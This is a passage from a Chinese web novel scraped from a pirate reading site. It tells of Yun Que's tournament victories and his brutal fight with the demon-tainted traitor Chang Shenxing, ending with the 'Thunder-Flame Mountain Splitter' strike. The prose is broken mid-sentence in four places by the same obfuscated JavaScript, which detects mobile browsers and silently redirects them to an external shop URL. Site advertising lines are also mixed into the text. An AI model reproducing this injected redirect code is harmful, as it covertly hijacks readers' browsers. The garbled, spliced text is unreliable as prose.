登台之前,云缺察觉到有目光望来。 回头看去,发现远处的唐太子正朝着自己点头,并且指了指身边的一名身穿黑衣的年轻人。 云缺心领神会,知道白誉在帮自己。 那黑衣年轻人定是大唐的人手,也获得了挑战赛的资格,正好给自己挡一局。 云缺立刻登上最后一座小擂台。 同时白誉身旁的黑衣年轻人也跳了上来。 “白午,请赐教! 这位本以为上来演场戏,按照太子殿下的吩咐与对方打一场即可,不让外人怀疑的前提下自己落败。 如此假戏,不需要什么精湛的演技,只要打得够狠就行,白午已经准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210956|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备好受伤的准备,如此才能显得真实。 不料他登台后,人家根本不出手,而是背着手傲气道: “此局我胜,说个价罢,拿钱走人。 白午愣了愣。 不用打了? 还能这么输吗? 那感情好哇 白午不敢自作主张瞄了眼太子见白誉正朝他微微点头。 白午心中有底了但是为难起来。 要多少钱呢? 要多了的话也许太子会不高兴要少了的话周围这么多人看着又说不过去。 他在迟疑之间云缺先开口了: “一亿两败!” 云缺模仿了三皇子赢人志反正少年擂又没规定不能用银子。 当然云缺只模仿了三皇子的傲气却没模仿三皇子的败家从怀里掏出银子砸了过去。 白午下意识的接住随后变得茫然起来。 手里的确是银子但也太少了多说二两! 可能还不到! 赢人志以银票击败对手那一幕几乎所有人都看见了白午也不例外。 他也想配合云缺装作之前三皇子的对手那般大吼一声暗器伤人然后跳下擂台。 可人家二皇子的暗器是一百万两银票你这才不到二两银子! 这么点钱真的伤不到我啊…… 白午的神色变得尴尬又无奈最后转为痛苦他捂着心窝道: “好毒的暗器!只伤心不伤身……甘拜下风!” 白午转身跳下擂台就此认输。 他确实受伤了心口隐隐发疼如果当真打起来他觉得自己容易猝死在擂台。 败走之后白午看着手里的碎银子终于明白了过来。 什么一亿两! 人家说的是一两第四音只不过在前面重复了个一声的一变成了一、一两! 其实能得到一两多银子不错了云缺没拿出张白纸当银票已经是看在自己人的面子上。 有三皇子的前车之辙云缺这一局无论拿不拿银子都算获胜。 三场挑战还剩两场。 云缺回头看了眼。 商暮还在与对手恶战显然处于上风胜出只是时间问题。 另一边的朱幺则出乎预料的已经赢了! 朱幺的对手被打出擂台趴在地上口喷鲜血伤得不轻。 这么快? 云缺有些诧异这个脑子有些不灵光的小胖子居然还挺强。 朱幺那边刚胜一局立刻有人跃上擂台二话不说直接动手。 只有三座擂台上是六品这三座擂台注定要迎来一番恶战。 云缺知道肯定还会有对手直接朗声道: “此地加注一局一百万两!有钱的上来!” 反正也是打打穷鬼不如打富豪还有两局呢不能浪费趁机正好赚点银子。 云缺这边刚喊完一道诡异的身影从后面爬了上来。 的确是爬的这人衣衫破烂犹如条野狗无声无息的爬上擂台。 云缺虽然面朝着台下但背后的细微响动仍旧听得一清二楚不等回头只听身后传来沙哑森冷的声音。 “梅钱……” 云缺不高兴了回头骂道: “没钱你上来作甚!加注了没听到吗……咦?你还没死啊。” 第560章 叛徒不得好死 爬上擂台的,是个怪人。 衣衫褴褛,披头散发,脸上脏兮兮,额头和脖子上的青筋都在隆起,眼珠子遍布血丝,形如野兽。 云缺一眼认出对方,居然是少年城曾经的军师,常慎行! 云缺以为这家伙早死了,没想到再次出现,而且还爬上了擂台。 常慎行此刻的状态十分诡异,呼吸极重,犹如破风箱一样,但气息却极其强大,气血仿佛在他周身逆转,给人一种随时会爆裂的感觉。 常慎行出现在擂台,立刻引起来一片骚乱。 少年城的众人惊讶不已,指指点点。 “那不是军师么,他怎么登台了!” “什么军师!叛徒一个,他被关在地牢快咽气了,居然逃了出来!” “常慎行莫非也要打擂?他根本没参加前七轮的淘汰赛,即便赢了也没资格成为小擂主。” “也许与那个蒙面人有仇,常慎行是要去复仇,这轮挑战赛没规定挑战者必须经过前七轮比试,按理说谁都可以登台挑战,不算违规。” “以常慎行的状态,上去也是找死。” “他到底怎么逃出的地牢?莫非有人放他出来!” 少年城的众人议论纷纷,不明所以,想不通常慎行登台的目的。 别人想不通,云缺可心知肚明。 常慎行登台,就是来报仇的,刚才对方说的不是没钱,而是梅钱,显然认出了自己。 云缺微微皱眉。 这家伙怎么认出我的呢? 蒙着脸都能认得出来,莫非是个狗鼻子? 云缺扫了眼对方,很快发现常慎行的脖子上有些奇怪的伤口,类似野兽的牙印。 “嘿嘿嘿……梅钱,你今天死定了!” 常慎行沙哑道:“把我害成如此模样,今天你要血债血偿,我会将你大卸八块!” “好哇,只要你有这个本事。”云缺淡然一笑,直接出手。 仇人见面,无需多言,唯有死战! 出手便是赤炎拳! 常慎行今天很古怪,云缺不再保留,下了死手。 常慎行非但不躲,反而砸出一拳,竟选择与云缺对拳! 少年城的军师是道门修士,他与武夫对拳显然在找死,无论云缺还是 台下观战的少年城众人都认为常慎行会被一拳轰飞直接掉落擂台甚至有可能重创而亡。 然而出乎所有人的预料。 常慎行非但没被打飞反而与云缺对拳之后仅仅后退了几步便稳稳站在原地。 连蔓延到手臂上的火焰也被一股奇异的力量瞬间熄灭。 咔嚓!! 轻响中 云缺头上的斗笠从中间裂开被反震的巨力彻底震断现出了真容。 常慎行喷出一口热气狂笑道: “狗贼!吃惊吧恐惧吧!我已脱胎换骨成为不灭之身!你今天必死无疑我会先掰断你的手脚再挖出你的眼睛最后拧断你的脖子!让你死无全尸!!!” 云缺瞥了眼掉落的斗笠微微皱眉。 常慎行的力量居然接近五品武夫的程度! 这种怪事实在令人费解。 一个道门修士短短时间内就拥有五品金身的力量绝非他修炼而来只能是借用了外力。 云缺再次将目光落在常慎行脖子上的伤口。 那些牙印附近隐约有黑色的斑痕好像得了某种怪病。 云缺一旦现出真容台下观战的少年城众人纷纷惊呼起来。 “是他!妖兽攻城当晚帮我们斩杀妖物的那个小和尚!” “对!就是他救了我一命!” “我亲眼得见他一个人杀穿了一条街的妖物至少上百头!” “恩公受我一拜!” “谁知道恩公尊姓大名?” “我知道!智障禅师!他叫智障!” 云缺瞄了眼人群在心里开骂。 你才智障你全家都智障!当天我就不该留什么法号! “他不是梅钱梅兄弟吗!” 有人认出了云缺惊呼道:“原来梅钱兄弟就是智杖禅师!梅兄弟加油!干掉常慎行那个叛徒!” “对!叛徒不得好死 少年城一方人声鼎沸人们义愤填膺对常慎行恨之入骨。 田锺就在人群里干掉奸细这几个字听得他直冒冷汗。 大秦皇族一方。 带队前来的马至远始终在闭目养神如此程度的比斗引不起这位御史大 夫的半点兴趣。 听闻嘈杂声,马至远抬起眼皮朝着台上瞥了一眼。 下一刻,马至远立刻瞪大了眼睛。 “驸马!” 马至远一眼认出了云缺,仔细听了听少年城一方的呼喝,他疑惑道:“梅钱?智杖禅师?” 马至远的目光变得复杂起来。 他对驸马,最初是记恨,后来从头到尾的看完了那次游街之后,马至远释然了。 他的记恨,来自家中晚辈被欺负,而马灯是什么德行,马至远又岂能不知,只是睁一只眼闭一只眼罢了。 马灯不过是仗着有他这位身居高位的亲戚,才敢在天龙城横行跋扈,成了地头蛇。 不知从何时开始,马至远活成了他当年最为厌恶的样子。 自从那次游街之行,彻底令他醒悟,他停滞多年的境界也随之开始松动,有了再进一层的契机。 而这份契机,说到底,是驸马给的。 马至远摇了摇头,苦笑着自语道: “驸马果然不是凡夫俗子,身份倒是够多的,唉,最近耳朵有点背,太远的声音,听不清喽。” 驸马有多少个身份,马至远已经不在乎了,更没打算去回禀皇帝或者丞相,有时候做个糊涂官,也挺好的。 擂台上。 云缺身形掠动,与常慎行恶战不休。 双方的速度与力量几乎相仿,一时间谁也奈何不了对手。 而且常慎行身上有一种古怪的力量,居然能抵消赤炎拳的烈焰,如此一来,云缺的这套拳法,威力骤减。 既然赤炎拳难以取胜,那就动用奔雷掌! 赤炎拳与奔雷掌齐齐出手。 云缺的攻势变成愈发凶猛,左手雷霆,右手烈焰,气势惊人。 常慎行一边进攻,一边掐动起法诀,施展出寒冰法术。 擂台地面瞬间结出冰层! 云缺脚下时而有锋利的冰锥冲出,陷入了苦战。 常慎行本身有着五品的道门修为,不知为何拥有了不弱于五品武夫的力量,连肉身都变得极其强悍,有时硬挨一记赤炎拳也能完全抗得下来。 常慎行此时的战力,相当于道武双修,而且各自达到了五品境界! 三座小擂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210957|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台的打斗,其他两处 已经没人关注,台下众人的注意力全被云缺与常慎行这边吸引,惊呼声阵阵。 另外十三座小擂台上的五品高手们,同样神色不定的齐齐望来。 一些普通的五品修士甚至一阵阵后怕,以常慎行此刻的战力,挑战寻常五品都有极大的胜算。 柳真真秀眉紧锁,紧咬银牙,替云缺担心。 这位城主有些后悔。 常慎行的罪状被确认之后,本该处死,但柳真真念及常慎行是少年城的元老,难以狠心下手,一直拖到现在。 柳真真想要将处置常慎行的事,留在少年擂结束。 到时候选出了少年王,无论少年王是谁,即可将军师的生死交给少年王发落。 正是城主的这份怜悯,让常慎行得以逃脱,从而登上擂台与云缺恶战。 柳真真此时在自责。 如果常慎行伤到云缺甚至杀掉云缺,她将后悔莫及。 第一次,柳真真对自己的城主身份,对未来的少年王资格,产生了动摇。 随着打斗的持续,商暮很快战败了两名挑战者。 她看了眼陷入恶战的云缺,嘴角翘起,得意的笑了起来。 以萍山君为赌注的赌约,看来自己赢定了! 商暮承认云缺很强,她自己其实没多少把握能赢得了云缺,但打赌这种事,有很大的运气成份在其中。 商暮运气很好,轻而易举赢得两次挑战。 反观云缺,一旦在第二次挑战中落败,那么萍山君就是她的了! 对于第三次挑战,商暮更是信心十足,因为此刻跃上擂台作为她对手的,正是商福。 兄妹俩早已谋划好了。 商暮只要赢得两次挑战,商福就会登台作为第三个挑战者,假打一场,从而让商暮毫发无损的成为小擂主之一。 商福朝着自家妹子点了点头,示意开始假打。 没等两人动手,擂台中心扑通一声掉下个人来。 商暮和商福齐齐诧异了一下,以为有人看穿他们的身份,想要阻止。 结果仔细一瞧不对。 擂台上的这位,是从旁边横着砸过来的,大口喷血,心窝凹陷,喘了两口气立刻两脚一伸,气绝身亡! 商暮沿着尸体飞来的轨迹扭头看去。 旁边的擂台上,一个小胖子正拍着手上并不存在的灰尘,一脸鄙夷的骂道: “弱鸡!最后一个挑战机会,谁还来! 商暮暗暗吃惊。 旁边擂台上的小胖子是少年城的人,听台下的欢呼,好像叫什么朱幺,这人居然也连赢了两局! 速度之快令人咂舌,手段之狠更是惊人,少年擂持续到现在,这是第一次出现被打死的。 很快尸体被抬了下去,商暮与商福开始动手。 兄妹俩看似打得凶猛,实际上根本伤不到对方,没过多久,商福故意现出个破绽,随后被商暮一掌击飞。 仅剩的三座小擂台,商暮就此完成了三次挑战,成为小擂主。 几乎是同一时间, 朱幺的第三个对手也被打飞出去,同样的大口喷血砸落在地,生死不知。 随着朱幺与商暮各自成为小擂主,少年擂最后的一个小擂主名额,只剩下云缺所在的擂台。 所有人的目光,尽数落在唯一还在恶战的擂台之上。 第561章 立地飞升都不意外 十六位小擂主,已经选出了十五人,唯一还在恶战的只有云缺与常慎行。 这处擂台的打斗程度,堪称惊人。 比之前的所有比斗都要惊险万分。 云缺动用雷火拳法,攻势迅猛,常慎行则以冰系法术还击。 双方没人防御,都在全力进攻! 时而一记奔雷掌轰在常慎行身上,将其砸开数丈,遍布浑身的雷弧很快被一层寒冰震散。 时而一道冰锥落在云缺身上,极寒之力瞬间凝固成小型冰山,不过瞬间会被巨力所崩裂。 即便受到重击,两人仍旧悍不畏死的继续冲杀。 拳拳到肉,冰炎翻飞,擂台四周不断有冰渣和雷弧洒落。 原本擂台下方看热闹的纷纷后退,最后这座小擂台四周形成了一片无人之地。 没人敢接近,生怕被外溢的法术或者拳劲击伤。 擂台下, 鸿影狠狠捏着拳头,看得聚精会神,倾尽全力记忆着师兄的一招一式。 越看,鸿影越觉得心惊。 师兄就是师兄,武道造诣如此惊人! 尤其师兄的肉身之力,硬抗法术居然毫发无损,简直比激发血脉之力的血蛮还要强大! 鸿影在羡慕之余,开始猜测师兄的身份或许也是草原蛮人,有着与生俱来的蛮族天赋。 要不然怎会那么强大! 白誉也在人群中观战,这位唐太子紧锁眉峰,对云缺的处境十分担心。 唐太子的眼力,绝非鸿影那种来自草原的孩子可比。 白誉见过太多的高手,无论学宫还是大唐皇族,他更是大唐唯一能面见白家老祖的晚辈,虽然修炼天赋算不得多高,但阅历这一块,同龄人之间罕有人能及。 白誉对云缺的战力相当佩服,但是对常慎行的战力更加心惊,他看出云缺其实落在下风。 原因很简单, 云缺只能动用武道修为,而对方显现出的力量是道武双修! 尽管常慎行的武道没什么招式可言,完全凭借强悍的肉身之力来对战,但力量与云缺几乎相差无几,如此一来,加上道门法术的施展,长时间搏杀下去,肯定云缺先败。 在白誉眼里,少年城的军师相当古怪。 五品道门 修士,却拥有金身境的武夫之躯,如此一来对战同阶完全可以立于不败之地! 道门修士本体虚弱的缺点与弊端,如果彻底消失,谁还是对手? 白誉的担心并没错。 云缺此刻正陷入苦战当中。 而且比白誉估算的还要凶险数倍! 常慎行十分古怪, 看似虚弱的本体却有着极其可怕的力量,云缺的奔雷掌与赤炎拳几乎对其无效。 巅峰程度的六品宗师武夫,全力出手的话,虽然达不到五品金身的程度,但也能接近。 何况云缺可不是正常的巅峰六品,他这副本体打熬多次,经历过妖魂与雷精炼体,又以青果红果拓展过经脉,动用出威力强大的武道法门,已经与五品金身境的武夫差距不大,足以达到击伤乃至击杀五品的程度。 然而常慎行却能以本体硬抗奔雷掌与赤炎拳! 打斗到现在,云缺至少轰了常慎行数百拳。 如果是其他五品金身,至少会被重创,可常慎行居然越战越勇! 如此诡异的局面,令云缺疑惑起来。 以云缺估计,常慎行肯定遭遇过什么变故,本体灌注了某种强大的力量,才能呈现出此刻的战力。 常慎行看似六品修为,其实云缺此刻的压力,不亚于对战一位五品金身! 若是单纯的肉身强横,云缺或许不在乎,关键常慎行这家伙还能不断的施展道门法术。 云缺的本体强度虽然类似四阶妖兽,力量可达不到四阶妖兽那么恐怖,否则早把常慎行掐死了。 这也是云缺的无奈之处。 不能动用妖力与妖刀,云缺使出浑身解数至多能战五品而已,对于常慎行这种怪物般的东西,很难获胜。 随着恶战的持续,云缺渐渐放空了所有思绪,脑海中一片空明。 周围的景致与台下的助威声尽数消失,在云缺眼前,只有这一方擂台! 难得的机会…… 云缺的嘴角渐渐勾起,犹如被勾起的战意! 正好遇到一个势均力敌的强敌,现成的活靶子,不用白不用。 冲击完美! 陷入空明状态的云缺,身形变得犹如鬼魅,挪移之间在擂台上留下一道道残影。 影步被施展而 出! 以常慎行的状态,影拳用处不大,用出来也没什么效果。 影拳的好处,是能以影伤人,达到出其不意攻其不备的奇效,但是影拳的威力不算很强,照比奔雷掌差了一些。 连奔雷掌都伤不到常慎行,影拳更难以对其造成伤害。 影步已经够了。 加上奔雷掌与赤炎拳,云缺的攻势猛增数倍。 常慎行施展的冰锥法术,根本追不上云缺的身影,尽数放空。 擂台上的打斗,变得更加精彩。 台下众人惊呼阵阵,一些武者如痴如醉的欣赏着这场难得一见的大战。 小擂台上, 大皇子频频点头,赞许着驸马的战力。 柳真真松了口气,提着的心放了下来。 商暮紧皱着秀眉,担心着云缺会获胜。 段无病愈发惊讶,赞叹着云缺的身法。 史得侩哇哇大叫,替云缺在擂鼓助威。 三皇子掏出酒壶,坐在擂台继续喝酒。 这场恶战,持续了足足半个时辰。 打斗的双方谁也不肯示弱,越战越凶,越战越猛。 云缺完全陷入战斗所带来的爽快当中,浑身的煞气在渐渐松动。 猎妖人的宿命,只有一个字,那就是战! 战到天昏地暗,战到敌人尽亡! 当云缺全身心的投入这场战斗当中,自身境界也在一点点提升,从六品巅峰,冲向五品! 只是这段过程无比缓慢,与所有人都截然不同。 正常的武者,一旦在战斗中明悟,即可瞬间冲破境界的壁垒,达到进阶的效果。 云缺虽然也处于进阶的途中,却犹如水滴石穿一般,极其缓慢,仿佛冲进五品的大门有万斤之重,一次难以打开,需要一点点推动。 就好像其他六品宗师,推的是一面丈许高的境界之门,而云缺所推的,是一面百丈高的境界大门! 二者之间,相差何止百倍! 大秦皇族一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220385|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的区域,马至远望着擂台,目光凝重。 如此奇怪的恶战,连他这位御史大夫都未曾见过,擂台上的两人明明都是六品修为,却斗出了不亚于五品的恶战。 其他少年或许看不出端倪,但身为四品儒 家修士的马至远,已经看出了擂台上那两人的不同寻常之处。 无论拿出任何一位,都是能够越阶杀敌的存在! 聚精会神的观战之际,马至远听闻身后传来脚步声。 回头一看,急忙起身见礼道: “丞相大人!” 左兰山抵达,在场的大秦众人纷纷起身拜见,一些世子王侯一样不敢怠慢,上前见礼。 丞相的威望在大秦朝堂数一数二,人家是三朝元老,一人之下万人之上,除了太尉之外,无人能及。 左兰山颔首示意众人落座。 马至远将自己的位置让了出来,命人搬来椅子,坐在丞相旁边。 “大人怎么来了。”马至远道。 这次少年擂,他这位御史大夫出面已经足够份量,不料丞相大人亲自抵达。 “少年王今日出世,陛下很重视,让老夫来恭迎我大秦的少年王。”左兰山道。 这话说得极其自傲。 大秦的少年王,也就是说,在左兰山眼里这次少年擂的魁首,必定是大秦之人,与少年城和其他势力都没关系了。 由于只有一座小擂台在打斗,马至远坐好后,为丞相解说道: 说的域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) “大人,此时打斗的一方为少年城的军师,另一方是……驸马。” 驸马出现在少年擂这件事,马至远其实没想着回去宣扬,睁一只眼闭一只眼算了,怎奈丞相亲自抵达,他即便不说,人家也能看得出来。 马至远说完,偷眼看了看丞相,发现丞相不为所动,连点惊讶的表情都没有。 “嗯,知道了。” 左兰山语气淡淡的道。 马至远在心里赞叹,果然是丞相大人,早已达到心如止水的境界,连驸马登台打擂这种新鲜事都无动于衷。 其实马至远猜错了。 不是左兰山心如止水,而且左兰山已经渐渐习惯了。 自从当着他的面来了场惊天动地的屎尿奔腾之后,左兰山对驸马能做出什么过分之举已经毫无惊讶,就算今天云缺被一道天雷劈死在擂台,或者在擂台上立地飞升,他这位丞相都觉得不意外。 比起粪山尿海来说,还能有什么更震惊的事儿呢,驸马剃个光头打擂而已,太正常了。 不意外,一点都不意外! 这时擂台上发生了变化。 在常慎行左右两侧,居然出现了两个云缺,一个砸出烈焰之拳,一个轰出雷霆之掌。 拳与掌带起的气机竟形成两股狂暴的气旋,远远看去,犹如雷霆与烈焰在擂台上相遇,轰鸣出漫天雷火! 如此狂暴的攻击,令擂台下的少年们齐齐倒抽冷气。 大秦一方的世子王侯们也对这凌厉的一击震撼不已。 左兰山眉峰一动,古井无波的老眼中现出一丝惊奇,诧异道: “他何时修成了太尉的影步?居然趋于大成!” 第562章 雷炎开山! 擂台上的两个云缺其实有一个是残影。 由于速度太快瞬间的挪移所造成了视觉上的错乱。 绝大多数的少年修士都在震撼着雷火之力轰出的威能只有少部分高手才能发现云缺这一击真正巧妙的地方是身法而非拳道。 能以一人之力在两个不同方位发起攻势本就令人震撼。 而云缺又动用了两种不同力量的拳法这就更加惊人了。 可以说这一击之力将两种武道法门与身法融合到了极致! 最为难能可贵的是两次的攻势几乎在瞬间完全在外人看来就好像分身一般合力攻敌。 云缺的影步在场的没有几人认得。 但左兰山可熟悉得很知道那是太尉龙桃的绝学。 太尉传授影步给驸马这一点左兰山并无太大的意外毕竟驸马这种粗鄙的武夫正对太尉的胃口 可是驸马来到大秦总共也没到一个月的时间太尉龙桃即便传授影步必定在一月之内。 短短一月而已就学会了太尉的绝学这种修炼天赋才是左兰山震惊的缘由。 云缺打出多么惊天动地的拳道左兰山根本不在乎可是云缺能在短短时间内学会影步并且掌握到如此程度左兰山无比惊奇。 武道奇才! 左兰山的心里泛起了这四个字。 但他不能说出来即便是武道奇才也是一个粗鄙到随地拉屎的武道奇才! 简直不可救药浪费了一身好天赋! 擂台上 常慎行避无可避结结实实挨了一拳一掌浑身暴起雷光烈焰。 这一击将他打得不轻他脸上的皮肤被震得开裂现出密密麻麻的裂痕。 常慎行怒吼一声掐动法诀想要反击结果云缺一击之后紧接着发动了第二击第三击! 拳道一旦与身法完美融合云缺的身形就像一团旋风般忽隐忽现奔雷掌与赤炎拳狂轰不断。 几个呼吸之内便连出了百拳! 常慎行被砸得连连后退最后没办法之下以法术凝出一面冰墙挡在身后这才堪堪停在擂台边缘。 此时的常慎行变得形如野兽! 不仅脸上全是龟裂,身上也在四处冒血,而且冒出来的都是黑血! 他瞪着的眼睛几乎鼓出眶外,瞳孔里的血丝连成一片,乍一看宛如野兽,喘气的声音越来越沉,喉咙里隐隐发出妖物般的低吼。 云缺的身影停在擂台中心,道: “挺住啊军师,我还没打够呢,你可别死喽。 常慎行愤慨的喝道: “放心!你肯定死在我前面!你辱我坑我,今天若不杀你,我誓不为人!吼!!! 常慎行大张着嘴,发出怒吼。 由于太过愤怒,他的两侧嘴角竟被撕裂开来,嘴巴张得更大,犹如一头凶犬。 云缺发现常慎行的气息开始提升。 同时下颚也在缓缓变长,整个嘴巴变得前突,就像狗嘴一样,脖子上的血管尽数突起,犹如一条条蚯蚓,看起来就像随时会爆开一般。 云缺冷冷一笑,道: “誓不为人?你看看你自己的样子,还算人么。 常慎行此时几乎变成了妖兽,浑身涌动着暗淡的妖气,尤其他吐出的黑血,其中蕴含着极重的妖物气息。 云缺能断定,这个少年城曾经的军师,在关押地牢的时候得到了某种强大妖物的力量! 也就是说,少年城里潜伏着妖! 再一次,云缺感受到有目光在自己身上徘徊。 豁然扭头,望向城墙。 城墙上没有人,空荡荡。 云缺看了眼大秦皇族的区域,见左兰山到了,放心了下来。 如今的少年城鱼龙混杂,各方势力汇聚,既然丞相来了,那最好不过。 一旦有意外发生,大秦一方也有人能镇住场面。 云缺这片刻分神的功夫,常慎行抓住了机会,低吼着扑出,两只大手宛若利爪,瞬息而至。 云缺直接以奔雷掌应对。 双方轰击在一处,又各自被震开。 当云缺后退之际,心头忽然一沉。 不对! 常慎行的力量变小了! 之前与常慎行对战,双方势均力敌,力量几乎不相上下。 常慎行嘴角开裂,青筋暴起,加上妖气出现的状态,明显应该气力大增,怎么现在常慎行的一击反而不如之前? 仅仅瞬息之间云缺便猜到了真相。 常慎行看似惊人的异变增加的不是肉身之力而是他的法力! 常慎行也在后退途中他现出狞笑双手快速结印浑身法力如同狂风般暴起! “凝!十里冰山!” 随着常慎行的低吼 巨大的轰鸣带着四溢的寒气。 冰山拔地而起将整个擂台完全冰封! 云缺与常慎行各自被封在寒冰当中一动不动犹如冰雕! 远处的小擂台上柳真真惊呼一声替云缺捏了把汗。 段无病与史得侩也纷纷大惊。 擂台下的白誉将拳头捏得咯吱作响替云缺暗暗使劲。 鸿影更是大吼着替师兄加油鼓劲。 大秦皇族区域马至远皱眉道: “少年城的军师有古怪这股法力绝非六品能施展寻常的五品道门修士怕也未必能达到如此程度。” 左兰山冷哼一声道: “借助外力罢了倒是有趣那军师的力量远远没到尽头还没完呢驸马这次要吃亏了。” 左兰山话音刚落冰山里的常慎行居然动了。 他再次掐动法诀! 轰鸣大作! 原本的小擂台已经形成冰山此刻在擂台下的地面居然再次冲出狂暴的冰雪一座更大的冰山将擂台笼罩。 冰山几乎扩大了一倍有余! 这还不算常慎行发疯一般第三次掐动法诀。 轰隆隆!!! 又一座冰山拔地而起将前两座冰山完全覆盖。 足足三层冰山将云缺牢牢冻在擂台! 冰山中常慎行疯癫般狂笑道: “死吧!死吧!一起死吧!!!让你尝尝极寒透骨的滋味……冰!剑!彻!骨!” 常慎行将双掌猛然合并。 咔嚓咔嚓的异响从冰山中传来。 巨大的冰山居然开始压缩! 冰块挤压中无数长剑般的冰锥就此形成随着压缩的冰山朝着云缺缓缓扎下。 这是法术的极致! 以三重冰山凝聚出千百冰剑让敌人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220386|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰封中被百剑穿心! 冰剑的速度不快,却带着一股无法抗衡的狂暴之气,齐齐向着擂台扎去,连常慎行也无法避开。 一道冰剑扎在了常慎行的后背,缓慢的从其前侧肩头透出,带出一股黑血。 常慎行这一招一旦用出,他自己也会被自己的法术击杀,可他并不惧怕,癫狂一般大笑,死死盯着云缺,好像在与云缺比试一番,谁先死,谁后亡! 如此惊险的局面,看得台下众人瞠目结舌。 四周一片寂静。 人们一时间忘记了呼喊,甚至忘记了呼吸。 云缺在冰山里一动不动,保持着双拳打出的姿态,仿佛已经化身冰雕,正在等待着碎裂的命运。 马至远焦急起来,低声道: “大人,驸马有危险,怕是挺不过这一击,不能让此战继续下去,否则陛下一定震怒。” 驸马尽管行事荒唐,但人家毕竟是大秦的驸马爷,少年擂结束之后就是与公主大婚的日子,一旦死在擂台,马至远这位御史大夫也无法交代。 左兰山没言语,默默注视着擂台上的冰山。 马至远以为丞相记恨着驸马,想要看着驸马身死于此,他拱手道: “公主大婚在即,若驸马身亡,大人也难逃陛下的责备,卑职这便出手阻止此战。” 马至远刚要起身,左兰山冷哼一声,道: “驸马死不了,他在聚力,看着吧,有好戏了。” 马至远闻言愣了愣,望向擂台。 果然,马至远看到了一幕奇观! 在冰山两侧,分别出现了两种不同的力量。 一侧是一道细小的雷弧,另一侧是一缕小小的火苗。 雷电与火苗都很小,若非马至远的眼力,其他少年们很难察觉。 很快,那雷弧与火苗便开始暴涨! 越来越多的雷电从空气中汇聚而来,组成了一股水桶般粗细的雷电之力,宛如一条雷蟒! 另一侧的火苗则汹涌燃烧,从小小的火苗变成了巨大的火团,如同燎原之火! 雷火之力不断汇聚,不断沸腾,最后带出了刺耳风啸。 此时的云缺,依旧保持着出拳的姿态,面朝着常慎行,仿佛环抱着一个无形的水缸。 双臂青筋暴起! 左臂雷光涌动,右臂赤炎缭绕! 如此状态,是左右双拳即将轰出的模样。 云缺一动不动,后心处,一道冰剑几乎贴在后背,即将扎下。 擂台下的众人纷纷瞪大了眼睛,被这惊险的一刻所震撼。 云缺目光清明,口中低语: “雷炎……开山!” 冰山之外的雷火之力,刹那间化作两个巨拳,轰鸣着砸向冰山! 轰隆隆!!! 巨响中,冰山从顶端开始碎裂,分崩离析,冰块砸落满地。 随着冰山破碎的,还有常慎行那具好似妖兽般的身体! 云缺虽然本体没动,却以强大的气机在身外形成拳劲,更是融合了奔雷掌与赤炎拳的精髓,自创出一记威能惊人的绝杀之法! 雷炎开山! 雷电汇合烈焰,将常慎行轰杀于擂台! 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第563章 大秦最强赘婿 冰山碎裂。 常慎行的身体在雷炎当中化作齑粉,只剩下一颗狰狞的人头,冻在一块坚冰当中。 擂台四周,一片鸦雀无声。 云缺双臂上的雷炎之力缓缓消散,傲然而立,宛若战神。 这一招雷炎开山,融合了奔雷掌与赤炎拳的威能,是云缺在战斗中摸索而出的招式。 正因为结合了两种不同的武道,才让这一拳发挥出无比惊人的威能。 此时的云缺,浑身气血不断汹涌,目光格外清明。 经此一战,那面高大的境界之门已经被推开了一些缝隙! 还不够…… 还需要更强的战斗…… 云缺脑海已经完全被战意填满,常慎行这个对手虽然很强,却不足以让云缺冲进完美之境。 还要更强的对手才行! 柳真真,史得侩,段无病等人瞪着眼睛,直勾勾盯着云缺,惊诧不已。 他们也曾经从六品修为走来,如今达到了五品境界,对六品武夫的战力可以说无比熟悉,可是云缺刚刚的这一击,远远超过了六品的范畴,哪怕五品金身的全力一击也不过如此。 这是六品宗师之力? 擂台上的小擂主们,纷纷怀疑起六品宗师的战力,觉得无比震撼。 台下的众人则更加震惊。 